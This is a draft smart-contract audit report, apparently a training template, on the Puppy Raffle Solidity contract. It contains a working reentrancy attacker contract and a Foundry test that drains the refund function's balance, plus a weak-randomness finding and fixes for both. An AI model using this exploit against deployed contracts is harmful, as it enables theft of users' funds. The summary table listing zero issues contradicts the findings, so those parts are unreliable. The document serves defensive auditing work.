# PasswordStore Initial Audit Report

Version 0.1

*Cyfrin.io*

September 18, 2023

# Puppy Raffle Audit Report

YOUR_NAME_HERE

September 1, 2023

## Puppy Raffle Audit Report

Prepared by: YOUR_NAME_HERE Lead Auditors:

- YOUR_NAME_HERE

Assisting Auditors:

- None

## Table of contents

See table

## About YOUR_NAME_HERE

## Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

## Audit Details

**The findings described in this document correspond the following commit hash:**

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

### Scope

```
./src/
-- PuppyRaffle.sol
```

## Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

### Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

## Executive Summary

### Issues found

| Severity | Number of issues found |
|---|---|
| High | 0 |
| Medium | 0 |
| Low | 0 |
| Info | 0 |
| Gas Optimizations | 0 |
| Total | 0 |

# Findings

## High

### [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance

**Description:** The `PuppyRaffle::refund` function does not follow CEI/FREI-PI and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address, and only after making that external call, we update the `players` array.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
           can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
           refunded, or is not active");
5
6  @>  (bool success,) = msg.sender.call{value: entranceFee}("");
7      require(success, "PuppyRaffle: Failed to refund player");
8
9  @>  players[playerIndex] = address(0);
10     emit RaffleRefunded(playerAddress);
11 }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue to cycle this until the contract balance is drained.

**Impact:** All fees paid by raffle entrants could be stolen by the malicious participant.

**Proof of Concept:**

1. Users enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance.

**Proof of Code:**

Code

Add the following code to the `PuppyRaffleTest.t.sol` file.

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
```

```
3       uint256 entranceFee;
4       uint256 attackerIndex;
5
6       constructor(address _puppyRaffle) {
7           puppyRaffle = PuppyRaffle(_puppyRaffle);
8           entranceFee = puppyRaffle.entranceFee();
9       }
10
11      function attack() external payable {
12          address[] memory players = new address[](1);
13          players[0] = address(this);
14          puppyRaffle.enterRaffle{value: entranceFee}(players);
15          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
16          puppyRaffle.refund(attackerIndex);
17      }
18
19      fallback() external payable {
20          if (address(puppyRaffle).balance >= entranceFee) {
21              puppyRaffle.refund(attackerIndex);
22          }
23      }
24  }
25
26  function testReentrance() public playersEntered {
27      ReentrancyAttacker attacker = new ReentrancyAttacker(address(
            puppyRaffle));
28      vm.deal(address(attacker), 1e18);
29      uint256 startingAttackerBalance = address(attacker).balance;
30      uint256 startingContractBalance = address(puppyRaffle).balance;
31
32      attacker.attack();
33
34      uint256 endingAttackerBalance = address(attacker).balance;
35      uint256 endingContractBalance = address(puppyRaffle).balance;
36      assertEq(endingAttackerBalance, startingAttackerBalance +
            startingContractBalance);
37      assertEq(endingContractBalance, 0);
38  }
```

**Recommended Mitigation:** To fix this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
```

```
5  +        players[playerIndex] = address(0);
6  +        emit RaffleRefunded(playerAddress);
7           (bool success,) = msg.sender.call{value: entranceFee}("");
8           require(success, "PuppyRaffle: Failed to refund player");
9  -         players[playerIndex] = address(0);
10 -         emit RaffleRefunded(playerAddress);
11      }
```

#### [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner

**Description:** Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values to choose the winner of the raffle themselves.

**Impact:** Any user can choose the winner of the raffle, winning the money and selecting the "rarest" puppy, essentailly making it such that all puppies have the same rareity, since you can choose the puppy.

**Proof of Concept:**

There are a few attack vectors here.

1. Validators can slightly manipulate the `block.timestamp` and `block.difficulty` in an effort to result in their index being the winner.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

**Proof of Code:**

Code

Add the following to the `PuppyRaffleTest.t.sol` file.

**Recommended Mitigation:** Consider using an oracle for your randomness like Chainlink VRF.

## TODO

- Overflow error
- Rounding error?
- DoS with duplicate checking

- Stuck ETH without a way to withdraw
- Strict sol versioning
- Gas optimizations
- Magic Numbers
- Test Coverage